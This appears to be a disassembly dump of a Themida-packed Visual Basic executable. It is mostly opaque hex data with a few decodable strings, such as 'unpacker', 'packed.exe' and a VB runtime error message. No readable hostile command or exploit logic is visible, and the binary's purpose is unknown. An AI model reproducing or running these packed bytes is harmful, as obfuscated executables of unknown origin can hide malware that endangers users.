dd 1094C4C1h, 477A2674h, 0F6F1DF9Eh, 0E7703685h, 0B95C8A6Ah
dd 6AF221B7h, 0D3783E6Dh, 6D63235Fh, 3D248137h, 890C6002h
dd 679C9DEBh, 1B32E365h, 0ACE1DDD4h, 429C84A2h, 3BD9B375h
dd 0B58h, 0B2892DADh, 4017B136h, 0CAA143C4h, 5930C84Eh
dd 0E9C056DDh, 0C44B03E0h, 58DB572Eh, 0E567E3BAh, 6EF26E45h
dd 0FF56FBD2h, 28A15339h, 59E26763h, 6F294432h, 21C3DC7Dh
dd 8CF0DA24h, 0BC675B42h, 428B10F6h, 3C32C5Bh, 99E9E67Ch
dd 53FEBD28h, 73A8F965h, 10250F2h, 0A92954FFh, 511E62ACh
dd 5F4D6329h, 0B8F3ABBBh, 36C0BD0Fh, 675AF6CDh, 0BDF9BF7Eh
dd 0D16B0F30h, 53FEA968h, 4310A78Dh, 5D5AC35Bh, 360DA92Dh
dd 4A1036BAh, 5B431064h, 8CDA0F78h, 4504E1E0h, 0FEED49Ah
dd 99025B43h, 0AA76D9Ch, 26632948h, 6553FEBDh, 2FB5763Bh
dd 46484997h, 0C345E6ABh, 9FD4D523h, 52EE72A2h, 0DF7BFF7Bh
dd 2103EB91h, 6C55E329h, 52CCBA79h, 0F1AC5442h, 0D59BCAC7h
dd 0EB09607Ch, 3050F78h, 38F2A420h, 0A6EC05Eh, 17970000h
dd 9B209C73h, 2DAE2A01h, 0B238B48Bh, 40C7431Ah, 19CAD3AAh
dd 4118AE35h, 0CDA442C5h, 582FCF51h, 0E5BC58DCh, 3D23E940h
dd 516328A2h, 0B01143CCh, 47CA7635h, 5D5A5BA9h, 12D8832Eh
dd 5B42632Ch, 9217D740h, 0ACA9AAF8h, 289C1E62h, 0CA89F263h
dd 27FE9A1Eh, 3D8B27ABh, 0F6B53091h, 801A9F4Bh, 0D4013983h
dd 0AD586B0Eh, 63563C02h, 16A5B42h, 42634127h, 0F7F45D5Bh
dd 0D0F3796Dh, 497EB349h, 0BE5ADE8Ah, 31D153FFh, 8472ED34h
dd 0C6C71E7Fh, 82B2AF62h, 0B5A362FEh, 4A905618h, 5A32660h
dd 6915D3D0h, 0E57B0258h, 0A2619697h, 296067DCh, 0A4251963h
dd 0A128B402h, 0E2A1D60Bh, 5716B236h, 8E8B27ABh, 0DE47CB47h
dd 86070C8Dh, 1C4BE2E4h, 5AE53368h, 421EE46Ch, 8B4BD42Ch
dd 1A1B6909h, 9AE9D31Dh, 823F6328h, 9B2D13D9h, 0D8416328h
dd 9E1EE4A3h, 456B0ED3h, 0B2F07657h, 1C19205Ah, 0BE6A2992h
dd 810D13Ah, 632E5898h, 57DB572Eh, 36E26DBBh, 3CC715B3h
dd 42FA9076h, 0E43AC5Bh, 0E12FC94Eh, 2E93E3E0h, 0CA4CF8B7h
dd 3381199Fh, 0D100FD32h, 2932CF0Bh, 0A34FFA63h, 0C6AC861Ch
dd 0DA632911h, 8EC365E6h, 509E0791h, 9C81DA4h, 9355643h
dd 0C7D13A6Bh, 72A453B7h, 90CAA84h, 0FC000009h, 8501D87Ch
dd 138F6600h, 9D19F092h, 2CA87F17h, 2F380FA5h, 7D139AB4h
dd 9A72AA6h, 9434B632h, 21BD41BDh, 884EA54Ah, 6328A3A2h
dd 31B039BEh, 37C311ADh, 0E1C78DB3h, 0FD5B4262h, 3DCD9294h
dd 0F2C0ED5Dh, 95886FBDh, 0CAC767E9h, 0CD516134h, 98BD5A31h
dd 0FEC3D772h, 10h, 5A871907h, 41943C3Fh, 0EB1F1344h, 9A000004h
dd 715013B4h, 5EEFB574h, 0EA63226Ah, 0DF734D81h, 0A9362E3Bh
dd 200ECD18h, 0EDFEECB0h, 63532F6h, 0E468340h, 0D6248D38h
dd 87325D4Bh, 1FD1D87Ah, 0F6EFD222h, 680A8B37h, 74763C6Bh
dd 103631B0h, 0B73CE8A7h, 45F1201Dh, 0D24E25C1h, 5CA8B24Eh
dd 6BA64A6Ch, 842F391h, 43C30000h, 0C74CC89Fh, 59DA562Dh
dd 0DE64E0B7h, 6CF36F46h, 0EDF6FFD6h, 6D44DA61h, 0F9D06EF1h
dd 845BFB7Dh, 11E88408h, 694F156Ch, 856328A4h, 0AD317700h
dd 0B037C311h, 1AA7431Ah, 0EE23B940h
dd 9BFB692Fh, 268F6328h, 9939BB67h, 3DC16D9Ch, 0CA4ECAA1h
dd 0AA55E02Eh, 93E177FEh, 9AD2B892h, 83496328h, 63289B9Dh
dd 0C52E48B1h, 9C4978C8h, 0D3DF17DDh, 2E976B0Eh, 0A33FC36Fh
dd 0A6CC50CCh, 4262FAE0h, 0EDAD165Bh, 4B99CE68h, 2777D2C0h
dd 0EF94C62Fh, 0A53BC2F2h, 0A2D6779Bh, 0CC6A4472h, 7A0h
dd 6A41E565h, 0F8CF69EEh, 8259FB7Ch, 11E88006h, 0A1780E95h
dd 7C034B98h, 10930FE6h, 9D1F9B72h, 26AA26FDh, 0B70EB38Ah
dd 28A50BF1h, 119A1F63h, 25AAB011h, 73C3D8Bh, 0F1D79D48h
dd 675B4262h, 0C7304AE0h, 9DD59BCAh, 5963289Bh, 0C08631F0h
dd 63289ADAh, 61908DF6h, 6BC831B5h, 74A34371h, 0F442E465h
dd 0B289BEF3h, 0C816B236h, 8140A51Ch, 8BA3EBBh, 0DFE9526Bh
dd 72A4F9B1h, 1D0EAC86h, 0E8000007h, 71EDC468h, 0FF7B52ECh
dd 8905DC7Eh, 18946B03h, 1B24FB91h, 69FF86C8h, 0F5931692h
dd 8020A21Eh, 0DA92DA9h, 743A9136h, 6328A58Eh, 31941DA2h
dd 37C311ADh, 0E2C917B3h, 29AD3D88h, 94E27E02h, 0EA875E93h
dd 0C3D712EDh, 2D13D984h, 415B426Bh, 753DBD8h, 5A000000h
dd 30D1Fh, 0AD319A00h, 0AA17C311h, 25D17C3Bh, 482E089Eh
dd 645B4263h, 90763CFBh, 0AC5B4263h, 6C174643h, 519F3DC0h
dd 54A244C5h, 995F1E53h, 5B4263B3h, 17615EC7h, 63289CDFh
dd 0DB572E97h, 0E26DBB57h, 0A6D9CF4h, 43F8A7BEh, 0DA4648EBh
dd 5BE1A193h, 777475C3h, 532AC047h, 1CDB0AB7h, 0EB3FD56h
dd 0CF8EF76Bh, 2C039F23h, 42902CB0h, 5D8A0BB7h, 0F1F240D6h
dd 706D6EBCh, 0D523B940h, 8E4D9829h, 229FE3C8h, 8A94FD63h
dd 7542E358h, 2DF7956Fh, 0D8000006h, 61DDB458h, 0EF6B42DCh
dd 79F5CC6Eh, 8845BF3h, 0B14EB81h, 59EF76D8h, 0E5830682h
dd 7010920Eh, 0FD991D99h, 642A8126h, 6328A67Eh, 32840D92h
dd 6769FF86h, 7464860Ch, 52827F0Eh, 857332CEh, 13F484BCh
dd 0DF602020h, 0F682403Dh, 0C400972h, 0AB7F6078h, 890BB776h
dd 9D9A9BE9h, 5905F8DFh, 0A43A37D7h, 0A13DC1D1h, 30282DCAh
dd 76EC3D7h, 75000000h, 1931Fh, 0AD319A00h, 0DEC50711h
dd 18F272A2h, 5A37Ah, 3EE26200h, 0CC66EB67h, 56F879F5h
dd 0E57D037Fh, 750B920Eh, 4E959Eh, 900CE379h, 1C986F0Dh
dd 0A723FA9Ah, 0BB08723h, 0A708EEB4h, 9F246328h, 11AD3116h
dd 76FBA752h, 631C02DCh, 0CD485B42h, 77CEE9B6h, 7B78E1FBh
dd 44AD31BDh, 0D85B3A8Dh, 75F4383Ah, 15FC4A7Fh, 56DAE8BBh
dd 1146E3BAh, 87C3D734h, 2Eh, 486328Eh, 6EBC52D9h, 0E9EA386Dh
dd 637E642Ah, 29925B42h, 102EA2Ch, 32650000h, 62DBC187h
dd 0FBEF5B42h, 0A8A5DA78h, 0EF66h, 8632E100h, 0BC52D904h
dd 0EA386D6Eh, 259CECE9h, 905601C0h, 5B4263AAh, 63755B21h
dd 20895B42h, 71A09D06h, 0F9971AC6h, 63ADAAABh, 63289D2Bh
dd 802C7AE3h, 3AE5A441h, 0BA14FC4Ch, 0C2881C85h, 6328E2DCh
dd 505287F0h, 50F222B4h, 206A6783h, 6B097D5Bh, 74C2CC35h
dd 4372A41Ah, 4AECB69h, 0D7570000h, 5BE05C33h, 0ED6EEAC1h
dd 72F8744Bh, 8703DAh, 598A936Ah, 1D86EF5h, 8D640285h
dd 18EF8F11h, 0A57C189Ch, 0FDE3A900h, 116328A7h, 8632038Ch
dd 0BA52D805h, 39363785h, 0FF82D8E9h, 831BA161h, 40FF3435h
dd 22B2787Ah, 41C36F63h, 0ABF98F16h, 9B2775AAh, 4B487D15h
dd 0ED9958C1h, 5DF3CA6Ch, 6322B174h, 0B83F66EAh, 8349D422h
dd 6322B19Dh, 0DE1348B1h, 0C7F1731Fh, 22B11B01h, 91C62F63h
dd 50D14D94h, 21C260AEh, 3D000004h, 7635B011h, 0FD9D1FCBh
dd 67B1AEAFh, 63289D2Fh, 30D25347h, 5EACE1E2h, 0C8090FB2h
dd 700860EAh, 31660688h, 250EE71h, 470DCC01h, 6B08C182h
dd 0D5EBF55Eh, 0E272A4DEh, 3E26A08h, 0A3230000h, 27AC28FFh
dd 0B93AB68Dh, 3EC44017h, 0CC53CFA6h, 8D565F36h, 0CDA43AC1h
dd 5930CE51h, 0E4BB5BDDh, 7148E468h, 0C9AF75CCh, 0E56328A7h
dd 0B011D760h, 7CB07635h, 9463289Ch, 3BC06C2Bh, 0C975A4A1h
dd 0FF991E45h, 0F377F3CAh, 645D0957h, 57608FB4h, 6DE756AFh
dd 0C25C9BDh, 29E81D52h, 0F4CBE63h, 0AA69D26Bh, 8E547AFEh
dd 5B42ECA8h, 4F265BC4h, 65B34FD3h, 1EDD08B9h, 2311B358h
dd 5A64CD63h, 75427270h, 55CF6D47h, 0B0000003h, 39B58C30h
dd 0C7431AB4h, 51CDA446h, 0E05C33CBh, 0E3ECC359h, 31C74E00h
dd 0BD5BDE5Ah, 48E86AE6h, 0D571F571h, 3C0259FEh, 6328A956h
dd 315CE56Ah, 38C311ADh, 5DE3068Ch, 417677C5h, 0DCC525F3h
dd 0CFB07FDh, 7964D5D7h, 0A6F21D9Ch, 0CEF579A9h, 0A279AE4Ah
dd 0DAA0BB06h, 5B4341F4h, 59DF9F08h, 7CD8CC1h, 632348CEh
dd 68F341AAh, 9D9A3ABCh, 233C6953h, 8BDAD463h, 37CBFDDAh
dd 411BC4h, 11220000h, 0CB7635B0h, 63745A20h, 1F885B42h
dd 0EE3CDE5Fh, 81A6F0EDh, 9B632264h, 543EE432h, 0BF632264h
dd 591E3E2Ch, 22679A8h, 75246F05h, 0C437E060h, 5601210Fh
dd 0B120C4C9h, 0B52CB4h, 31330000h, 4E344ADh, 0F72574E3h
dd 42FE4B31h, 0C1F65F5Bh, 0FE563C02h, 16A5B42h, 6BF27ECCh
dd 51FC87D5h, 42FEA58Bh, 5350B95Bh, 0B5039F23h, 3209A529h
dd 4303849Ch, 36D2565Bh, 0C35FE35Fh, 0EDF8C975h, 63FD822Eh
dd 20713766h, 2C632326h, 7150ECC3h, 0CEEFB574h, 5A6B05DBh
dd 0FF8632F1h, 6B179269h, 21514EE4h, 0DAFA049Ah, 0F172A0DEh
dd 21E7917h, 67E70000h, 0EB70ECC3h, 7DFE7A51h, 28804DBh
dd 9017936Ah, 0C91A23FAh, 9168FE85h, 1DF49215h, 0A87F1FA1h
dd 350CA82Ch, 8D733990h, 0A16328AAh, 0AA31931Ch, 3DC13D14h
dd 636B5117h, 167F5B42h, 328D0AE1h, 80F59987h, 360E71B5h
dd 4315765Ch, 0D1978A5Bh, 5B4314EBh, 0A16196FFh, 3132801Eh
dd 8DDE434h, 175E8349h, 0A24D6323h, 2315F6DCh, 0A3D40A63h
dd 0E42D03F2h, 0CA511146h, 77AD3734h, 0F4BAED3Fh, 6323130Eh
dd 82B7B922h, 88D60BE9h, 22AFF8E2h, 0C3EB6E63h, 22B017FDh
dd 95CA3363h, 983ABB47h, 0E0B3B94Ah, 0CD98925Dh, 375BBF9Ch
dd 0C1DDC4h, 31E40000h, 37C311ADh, 0AF5B1AB0h, 0B4408E2Ch
dd 4647952Fh, 0B0561411h, 5B426798h, 13EA860Ah, 29771397h
dd 0E2A1447Dh, 0CB19AF36h, 0D89ECDCAh, 63228A87h, 0A5411881h
dd 5E0AC91Ch, 154441D7h, 9F39BE6Ah, 1959D19Dh, 5C59C44Ch
dd 5449212h, 0E38E396Bh, 44F4371Dh, 10EA535Bh, 5B44F42Ah
dd 56E0DD46h, 86402EEDh, 977405Bh, 194EF071h, 0BA41ED1Ch
dd 26D24D24h, 0DC0C099Fh, 21B5BF55h, 1672A031h, 0E29E3Ch
dd 0A3230000h, 27AC28FFh, 0B93AB68Dh, 3EC44017h, 0CC53CFA6h
dd 8D565F36h, 0CDA43AC1h, 5930CE51h, 0E4BB5BDDh, 7148E468h
dd 0C9AF75CCh, 0E56328AAh, 0AA31D760h, 3DC13D14h, 324DCAA1h
dd 1A680086h, 68EC1C19h, 6EF27ECCh, 0D89EC247h, 5B4262F2h
dd 3B70A50Eh, 250BD17Ch, 395B4263h, 0F28A10D0h, 5FA6A3A4h
dd 28E7FEC3h, 289BB962h, 1C6AD363h, 99700C90h, 3EFD991Dh
dd 27750B92h, 0C56B2926h, 769B12CFh, 68EE9AC9h, 848182D0h
dd 6C18A7EEh, 22524FE5h, 0AF2B029Eh, 0B6418F2Bh, 9DEB850Ah
dd 0E96F9F9Ch, 0F1770351h, 0FB7F0B59h, 7A80115Fh, 7C42262Bh
dd 79159929h, 39A226A2h, 0C2946C14h, 182F31B6h, 0F720D073h
dd 3AD8265Bh, 14h, 60460CB7h, 946FD711h, 105919CDh, 92FB155Fh
dd 0B5026495h, 0BF0DB131h, 0C513AF33h, 0C917B739h, 0CE1CBA3Dh
dd 0D725BB42h, 0E02EC44Bh, 0E836CE54h, 0EB39DB5Ch, 0F240DA5Fh
dd 77A26863h, 2C890000h, 0E6895624h, 4C681h, 0EE830000h
dd 24348704h, 2414895Ch, 1B9568h, 240C8900h, 3A6EBF57h
dd 0FA8907E6h, 83243C8Bh, 8B5404C4h, 0C483240Ch, 58525004h
dd 58084189h, 592434FFh, 4C481h, 34FF0000h, 0C4835A24h
dd 0FE01E904h, 2CDFFFFAh, 0EAA00A4Ah, 2BD75A78h, 3BF5FD43h
dd 49F9B8A0h, 0C50307E6h, 0E91E0FFh, 4C7A23h, 75E87F25h
dd 7889782Eh, 8BBF3B54h, 6D7B315Ah, 0CA4152h, 0A5D485Eh
dd 88B806D4h, 7FE96016h, 6000001h, 0C57B4976h, 4377E705h
dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
dd 657865h, 3Ah dup(0)
dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
dd 654Eh, 8 dup(0)
dd 58E90000h, 6800001Ch, 7E64E5Bh, 0FA34BEE9h, 4F3C68FFh
dd 0B4E907E6h, 68FFFA34h, 7E6504Bh, 0FA34AAE9h, 511A68FFh
dd 0A0E907E6h, 68FFFA34h, 7E65159h, 0FA3496E9h, 520A68FFh
dd 8CE907E6h, 68FFFA34h, 7E65262h, 0FA3482E9h, 52B668FFh
dd 78E907E6h, 68FFFA34h, 7E65A7Eh, 0FA346EE9h, 5B0368FFh
dd 64E907E6h, 68FFFA34h, 7E65BD9h, 0FA345AE9h, 5CD568FFh
dd 50E907E6h, 68FFFA34h, 7E65D33h, 0FA3446E9h, 5DE668FFh
dd 3CE907E6h, 68FFFA34h, 7E65E60h, 0FA3432E9h, 5EF568FFh
dd 28E907E6h, 68FFFA34h, 7E66568h, 0FA341EE9h, 667668FFh
dd 14E907E6h, 68FFFA34h, 7E66718h, 0FA340AE9h, 5A14FCFFh
dd 0CF876E40h, 46FEE3B5h, 0B9715A2Ch, 31EBCD9Fh, 2419C217h
dd 9C6E8842h, 12E4FEB8h, 8B5D772Fh, 0F1D1EBA5h, 54CEE306h
dd 36A821D4h, 8B452B9Ch, 0E1A28886h, 4A4146FEh, 0A0A11033h
dd 8ADD29BAh, 0B48EC5DFh, 161419D1h, 7970752Dh, 0AC74C8CEh
dd 0A955788Fh, 0AF2E5AA7h, 866B455Ch, 347BC8CEh, 21DA9A79h
dd 0B00E63C4h, 53D4E072h, 399Dh, 486BAA00h, 21DA9369h
dd 9ABCC215h, 0D9F04FD1h, 5AA03CB6h, 586FC22Eh, 0DCE29C7Eh
dd 0A065488Fh, 77D821DAh, 0EB86C41Ah, 2BB153D4h, 0BE000001h
dd 94555C7Fh, 0CE2121DAh, 452BA6C8h, 0B19A748Bh, 6E91F4F9h
dd 29BAA143h, 373DE83Bh, 6E4887EAh, 0D4CBD08Ah, 0BAA0D8D9h
dd 454B9E29h, 98AF694Bh, 90B3D7BEh, 29BAA121h, 5A5F0A5Dh
dd 0AD105D63h, 0A50C2F6Eh, 0D129BAA0h, 0A12E837Eh, 0F54829BAh
dd 0A0A65E43h, 1AFFC0A6h, 12BD775Bh, 18C37B60h, 0F3D6B013h
dd 553B353Bh, 0A0A50C2Fh, 68A429BAh, 23D496D4h, 721D7047h
dd 0E098815Bh, 7CDEE4DBh, 0B9F71861h, 0ECAD9329h, 544B500Ah
dd 0D7BD8FA9h, 50C0181Dh, 4326E5CCh, 0E48F868Bh, 4D36E8DFh
dd 0F9D3EA95h, 5C535810h, 0EED4F756h, 682E59D6h, 41CFFB15h
dd 0A7A8CBE2h
db 92h, 77h, 26h
byte_5B15DB db 0Fh ; DATA XREF: Themida_:0055506Do
dd 0E2CBA5BCh, 0C1F0132Ah, 0BD29B86Ah, 0C605646Ah, 69A5379Ah
dd 0EBF1D0A6h, 3B550FF1h, 0F4CD8769h, 0E6119799h, 7293C1AAh
dd 86000019h, 0F8CAE49Eh, 6D3F5911h, 0E4B6D088h, 572943FBh
dd 4CA1BB75h, 12CCAE63h, 884226F8h, 1B99C6Eh, 752F15E7h
dd 6D907B5Bh, 21D45344h, 2B2EC83Ah, 0A3758F49h, 0B2E903BDh
dd 0A1615073h, 0CA1D29BAh, 4FD1A2C4h, 3CB6D9F0h, 0C22E5AA0h
dd 8A236A6Fh, 1121DA9Fh, 7371762Eh, 0CFCDD28Ah, 0D60B32EAh
dd 924A2F79h, 1976D7E7h, 0D4EB87C3h, 0A7B053h, 2BFA0000h
dd 88868B45h, 545D80A6h, 2A29BAA1h, 0C4272CD7h, 0A1596798h
dd 0FD039670h, 0B9B6BFBAh, 0BC765C29h, 2D3279A5h, 0C9CD856Eh
dd 14F75795h, 49ABB15Ch, 0D2D79177h, 8299967Ah, 59B8635Fh
dd 738ADD2Eh, 0BA745A34h, 0D9B7F2BFh, 33398C21h, 0BC7BA5D1h
dd 2EDC82A5h, 0C71A2677h, 3AF4D6B0h, 0B26C4E20h, 114084D9h
dd 82B099E6h, 1891h, 0ABC57F67h, 203AF2D9h, 97B1694Eh
dd 0A24DCC5h, 829C5638h, 0AD8F842Dh, 2307D9F3h, 9A7D4F69h
dd 10F6C8E2h, 715C3C56h, 0D452634Eh, 0FA91B21h, 758F492Bh
dd 0E903BDA3h, 8ECC6EFh, 684E484Eh, 0CADACE55h, 512529E1h
dd 1027D25Eh, 839A5436h, 0B9CE5160h, 0D4DA2D29h, 0A6E52487h
dd 0B9CE2E83h, 0FAF54829h, 29B9CDB7h, 6C666CBFh, 86B2CC86h
dd 63869D9Ah, 2E59AE8Bh, 4E959AEDh, 21D9AE5Fh, 126793DEh
dd 0B6533C46h, 86DB5056h, 0D4E0FA28h, 7A603A53h, 0DD36BAC0h
dd 80000000h, 9E3B2B3h, 6D646923h, 2E0D1367h, 0A572F417h
dd 0A1F42E5Ah, 0FEDA05ECh, 0A1E0F53Fh, 4001337Eh, 0C9E80B56h
dd 0B5564000h, 32388B62h, 0DEF532DEh, 0DFE7DFBBh, 583F195Ah
dd 9EA49BA0h, 0CF272C7Fh, 0A8CBE241h, 59BF552Dh, 0CC8D6F49h
dd 0D48631E9h, 3C3338F2h, 0ADC41736h, 1933EDD3h, 0BAA06147h
dd 535810F9h, 2D06B15Ch, 0B988E6DEh, 82E00EF7h, 76000017h
dd 0E8BAD48Eh, 5D2F4901h, 0D4A6C078h, 471933EBh, 3C91AB65h
dd 2BC9E93h, 783216E8h, 0F1A98C5Eh, 651F05D7h, 5D806B4Bh
dd 21D45154h, 2B1EB82Ah, 23868B45h, 0A9AE6649h, 0C858ACB2h
dd 0BD31546Bh, 3B2E5A80h, 8158597Ch, 0CB1E21DAh, 0ABDE83C7h
dd 0E6912406h, 446D90CFh, 3A21D9D4h, 4ADD0E7h, 7A21D9D4h
dd 0C5BF2127h, 22EEB2B3h, 3214EE05h, 0D4137278h, 0BB9A8DA8h
dd 0FBA6EAB8h, 0A5AE3549h, 0FD4046F1h, 2E59BA69h, 0B0974C9Fh
dd 0A6B16F13h, 566DCA56h, 92716733h, 898EE1ADh, 4AE5FA26h
dd 1E7789D7h, 0DF5CC418h, 2130A5C8h, 3386A731h, 0A25C421Ch
dd 0FD0B688h, 0B5B182Bh, 0B8066775h, 4089620Dh, 5D66DAC6h
dd 16B34674h, 5D450000h, 0D0B789A3h, 472CFE18h, 0BAA3758Fh
dd 3416E802h, 0A20B607Ah, 0B7D18B6Dh, 2D4701E5h, 0A6C0785Bh
dd 1A34EED4h, 852C4F3Ah, 0F121D44Fh, 452BE57Fh, 0F0FFB28Bh
dd 0A790E60Eh, 167479h, 0E29C8400h, 570FF6C8h, 0CE866B3Dh
dd 41F9E2B4h, 0B9735527h, 0AC614A9Fh, 24F610CAh, 9A6C8640h
dd 13E5FFB7h, 7959732Dh, 50466B8Eh, 0BE3021D4h, 8B452B24h
dd 65492386h, 409C1A4h, 665D620Dh, 27040C60h, 8F79ED10h
dd 9CEF2E5Ah, 82283882h, 0FEB89A9Eh, 4D193C53h, 8B267A74h
dd 0A6808338h, 3A779AC0h, 4429BA6Bh, 0FD4046F1h, 0B511E262h
dd 677EBD63h, 0B1FA5644h, 0D8DD3091h, 7C939080h, 11377C59h
dd 90A7FA93h, 0DB957751h, 34F5DBD5h, 0EDA58E4Dh, 4146F1E8h
dd 0C8F6BBDEh, 2D808D0Eh, 0EBBDD782h, 0C5724B05h, 5A82BAC9h
dd 15C34371h, 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh
dd 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh
dd 0A24DEC4h, 951C3F2Ah, 0E121D44Eh, 0ECC6D56Fh, 3464C06h
dd 29BAA0AEh, 0BAB109A4h, 0A1644929h, 0BFEE29BAh, 0DC29BAA0h
dd 0BC633CF6h, 55E60EF1h, 156B3E6Ch, 0A58D0000h, 18FFD1EBh
dd 8F744660h, 2EBBDD7h, 7C5E304Ah, 6A53A8C2h, 0FF19D3B5h
dd 758F492Dh, 0EE08C0A3h, 627C361Ch, 3D749782h, 3921D44Fh
dd 0ECC62DC7h, 14374E08h, 29BAA09Dh, 2C8086D9h, 0D3047E4h
dd 2E5AB0DDh, 46E7C013h, 0E3EDEF01h, 1517CCFAh, 0F9E10000h
dd 6C53253Fh, 0E3C89AB4h, 563F112Bh, 0D0B2849Eh, 3EA7FC16h
dd 536D2709h, 0C9E39D81h, 425C14F7h, 0B6D08A70h, 0E9C8EBD6h
dd 9521D44Eh, 452B8923h, 0A288868Bh, 3D6EE3E8h, 0E65C8AE0h
dd 35775434h, 0C1000000h, 0BAA0CBE2h, 0DB3F6B29h, 0E98B735Eh
dd 260C060Ch, 1537526Ch, 0B729E094h, 28E2C6A0h, 977A2C23h
dd 0DDE3DADFh, 14A76290h, 8FBB0000h, 0DDDE25A0h, 0B8DAE04Ch
dd 868B452Bh, 5A3EE22Eh, 0F9A49BA0h, 8397BFE2h, 9EF12E5Ah
dd 12CAAD87h, 0DCFF160Dh, 21DA7BD5h, 0E6484EA1h, 0C2D956BAh
dd 7A995F9Fh, 8186D926h, 0CCE69E83h, 0BA66FDB1h, 1B9A029h
dd 6F2E15E7h, 0D5CCD18Bh, 9E0FECD1h, 0A04BECD8h, 0FEB69D9Bh
dd 6C240DE7h, 68B11966h, 22DAC10Bh, 0BFFC2A08h, 5B175434h
dd 61000002h, 0D9F04FD1h, 595E16FFh, 13CBB062h, 0B211170Eh
dd 5AAFBB8Fh, 0DDE2352Eh, 2940F8DFh, 0ADB36D4Fh, 8192794Bh
dd 37AB9EB3h, 0B0B56051h, 0D9EF4469h, 116E2321h, 0E28E0C7h
dd 0EA013EE2h, 68496CABh, 0E21D9CFh, 1116D0B4h, 26696F1Ah
dd 2679B77Ch, 0ACAAAF02h, 24F610CAh, 20838842h, 0CE4D6046h
dd 924778BBh, 0E6292FDAh, 29BA36C9h, 4690EDA2h, 5990AA64h
dd 0DEE39D7Fh, 0CE98A48Eh, 9F4A0347h, 5CDB4599h, 0DD982245h
dd 9BEE2E59h, 8F224584h, 0E721D9D9h, 43418E94h, 5289A35Dh
dd 0D9C1F013h, 0FFE221D9h, 744B4247h, 3B211B21h, 0D5DA947Ah
dd 0CB2E33DEh, 4E540CF1h, 0D9D9A60Bh, 0B70CC121h, 0ABC57F65h
dd 353AF2D9h, 0AD915037h, 0DB4348F3h, 4EB3D92h, 765B354Ch
dd 2D84A7BEh, 4921D9DAh, 0B08EF0F6h, 53D42D72h, 0A89Dh
dd 0EED0AA00h, 32382F34h, 88492B10h, 3C41ECA6h, 9DA25C3Eh
dd 4597EC35h, 0B18FA963h, 5434E675h, 2BF497C3h, 56EDC312h
dd 7BCC50h, 0C6160000h, 880A049Ah, 0DFE7EBA3h, 3EF6D99Fh
dd 91974239h, 549EB197h, 5BF67E3Eh, 8B898E39h, 0E8E6EBA5h
dd 0D0DBEF02h, 635264D3h, 0CEB5B3B8h, 0C6806416h, 0B31059C1h
dd 0C7CC8469h, 0C00925D0h, 79331963h, 4145815Fh, 2E6E5434h
dd 0B8000000h, 0D9F04FD1h, 5AB304B6h, 22277A2Eh, 0DA8ED2DBh
dd 0B50A6B21h, 873F24FEh, 0F44F7B81h, 618D53D4h, 9A993CE1h
dd 93171D86h, 0C6h, 0F04FD1DDh, 0B1CFFD9h, 2F883576h, 0C1C772E7h
dd 2D973F62h, 72B12E5Ah, 0DA25624Fh, 0B2C91C21h, 0DA25228Fh
dd 3095C21h, 0EEA88AE4h, 4247F2E9h, 8BA55D44h, 2D13D2B9h
dd 0C5C3C873h, 0B92126DEh, 8A641370h, 0EBE5EBA3h, 54324C04h
dd 53D49616h, 0EFA78C66h, 16EFF3EAh, 308420BDh, 5881050Bh
dd 0CB000000h, 0D7EE4DD1h, 455E1DB4h, 41469956h, 0BAA0B3FAh
dd 0ADD9F0A9h, 0DA3C6502h, 634E714Ah, 1BA9BAEBh, 0A2171DC8h
dd 0BE7DA14Dh, 2EE6CDA7h, 0EA3C629h, 68A9BAEBh, 5646A15h
dd 45A7EFE2h, 4B2D07D6h, 8F958C91h, 7A341670h, 0A47EB5CFh
dd 90005BDh, 0CD903h, 0C66F0000h, 484E08ECh, 2C1Eh, 462BB400h
dd 3FEAA287h, 9D553C3Ah, 0BCAB183h, 70676C24h, 0BC68C0C5h
dd 99337A7Fh, 0D6D6455Dh, 84C21875h, 0AFABCB15h, 0C9Ch
dd 0E54BD1F9h, 949944FCh, 1194FB4Dh, 0F1B296A0h, 0A0A55008h
dd 5BDA2h, 0B8FB588Dh, 3BEA47A8h, 0D4BD7C61h, 7520171Ch
dd 0D23D696Fh, 5756DD9Fh, 0A0000000h, 0D5EC4BD1h, 0BAA0FFB2h
dd 7A5D3729h, 0C0C6BDC2h, 4C6BF5A1h, 24849363h, 0C4C7EA0Dh
dd 5CAF29B9h, 0A49ACB1h, 0B9C4CAE7h, 5B61B429h, 0C88FFB18h
dd 0C0FF4A80h, 4790149Dh, 65176A80h, 4DC2C880h, 0FB6C9AF0h
dd 0D2ACFD47h, 0A92D33EBh, 2D7h, 41F9DCB6h, 4BD1193Bh
dd 9D4800E5h, 0D71639C3h, 0B97C85ABh, 50097B7h, 29B9B7ACh
dd 57797FD2h, 0B18B452Bh, 47F92528h, 98F5779Ch, 7F843C23h
dd 442BDD88h, 1F64868Ch, 5734DEF3h, 0D0D60241h, 7B445A6Eh
dd 0E55D544Fh, 0C61926B9h, 313CC0h, 0D1860000h, 0DE02E54Bh
dd 0BAA0F6BBh, 822D8029h, 0ECC6FDD7h, 0E9484E08h, 0BAA0E8C6h
dd 613B8E29h, 4C06ECC6h, 2BE5E746h, 0E8B48E46h, 35FBA2h
dd 0D1910000h, 96D5EC4Bh, 0BAA13E73h, 0DFE53829h, 0BA3C6BDh
dd 7829BAA1h, 9AC63711h, 0D193CD69h, 0E140465Fh, 87462BDFh
dd 653FEAA2h, 92E09AC6h, 499810Ah, 0E27BC1FEh, 73E79799h
dd 607A3416h, 0EAC7EA29h, 94CF5D67h, 0F39E583Ah, 9FA45C41h
dd 0C2A8A2A8h, 15416408h, 9073B7E9h, 5E03D4D8h, 0B4969096h
dd 0DB4E56FAh, 0CE38799Ch, 0EB3ECF5Ch, 0C91370E5h, 0E61229E3h
dd 0E5CBE4CFh, 2B2F262Bh, 76591637h, 100D13BEh, 0E4CB8C72h
dd 0A7DD812Ch, 9DF2E7EEh, 0F6AB654Bh, 0A1B87258h, 37723F62h
dd 4831CF5Dh, 0BD948B90h, 5578646Ah, 0C6DD977Bh, 5D370EA3h
dd 0F1568CFh, 85293315h, 0F3CF5D36h, 6BF4FCA0h, 24DEC416h
